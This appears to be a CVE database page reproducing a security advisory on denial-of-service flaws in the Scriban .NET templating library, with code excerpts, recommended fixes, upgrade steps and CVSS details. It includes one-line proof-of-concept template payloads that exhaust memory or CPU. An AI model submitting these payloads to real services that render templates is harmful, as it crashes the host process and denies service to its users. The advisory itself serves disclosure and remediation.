Loading...
Skip to main content

CVE-2026-74785 — Vulnerability in Scriban — CVE Details

MEDIUM

Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation

Published March 24, 2026Updated August 17, 2026Source: osv

Summary

## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left); if (context.LimitToString > 0 && (long)value * leftText.Length > context.LimitToString) { throw new ScriptRuntimeException(span, $"String multiplication would exceed LimitToString ({context.LimitToString} characters)"); } var builder = new StringBuilder(); for (int i = 0; i < value; i++) ``` ### Vector 2 — BigInteger shift: Cap the shift amount ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784 case ScriptBinaryOperator.ShiftLeft: if (right > 1048576) // Same as MaxBigInteger bit count throw new ScriptRuntimeException(span, $"Shift amount {right} exceeds maximum allowed (1048576)"); return (BigInteger)left << (int)right; ``` ### Vector 3 — Range + builtins: Add iteration counting to range iterators Pass `TemplateContext` to `RangeInclude`/`RangeExclude` and enforce a limit: ```csharp private static IEnumerable<object> RangeInclude(TemplateContext context, BigInteger left, BigInteger right) { var maxRange = context.LoopLimit > 0 ? context.LoopLimit : int.MaxValue; int count = 0; if (left < right) { for (var i = left; i <= right; i++) { if (++count > maxRange) throw new ScriptRuntimeException(context.CurrentNode.Span, $"Range enumeration exceeds LoopLimit ({maxRange})"); yield return FitToBestInteger(i); } } // ... same for descending branch } ``` Alternatively, validate range size eagerly at creation time: `if (BigInteger.Abs(right - left) > maxRange) throw ...`

Advisory Timeline

  • First published March 24, 2026 (202 days ago).
  • Last revised August 17, 2026 — 145 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update Scriban to 7.0.0 or later
dotnet add package Scriban --version 7.0.0
NuGet
Update Scriban.Signed to 7.0.0 or later
dotnet add package Scriban.Signed --version 7.0.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: nuget (2).

PackageEcosystemAffectedFixed In
Scriban
nuget
0.1.0, 0.10.0, 0.11.0, 0.12.0 (+119 more)7.0.0
Scriban.Signed
nuget
0.10.0, 0.11.0, 0.12.0, 0.12.1 (+107 more)7.0.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-400
    Uncontrolled Resource ConsumptionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 6.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-74785?
Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.5/10).
How do I check if my project is affected by CVE-2026-74785?
CVE-2026-74785 affects Scriban and Scriban.Signed. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-74785 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
6.5

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-xw6w-9jjh-p9cr

Related CVEs

  • CVE-2026-74789
    HIGH

    Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service

  • CVE-2026-74794
    HIGH

    Scriban has an Infinite Recursion during Object Rendering Leads to Stack Overflow and Process Crash (Denial of Service)

  • CVE-2026-74792
    HIGH

    Scriban has a Stack Overflow via Nested Array Initializers That Bypass the ExpressionDepthLimit Fix

  • CVE-2026-74788
    HIGH

    Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service

  • CVE-2026-74795
    HIGH

    Scriban has Uncontrolled Recursion in Parser Leads to Stack Overflow and Process Crash (Denial of Service)

  • CVE-2026-74791
    HIGH

    Scriban has an authorization bypass due to stale include cache surviving TemplateContext.Reset()

  • CVE-2026-74786
    MEDIUM

    Scriban: Denial of Service via Unbounded Cumulative Template Output Bypassing LimitToString

  • CVE-2026-73062
    MEDIUM

    Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies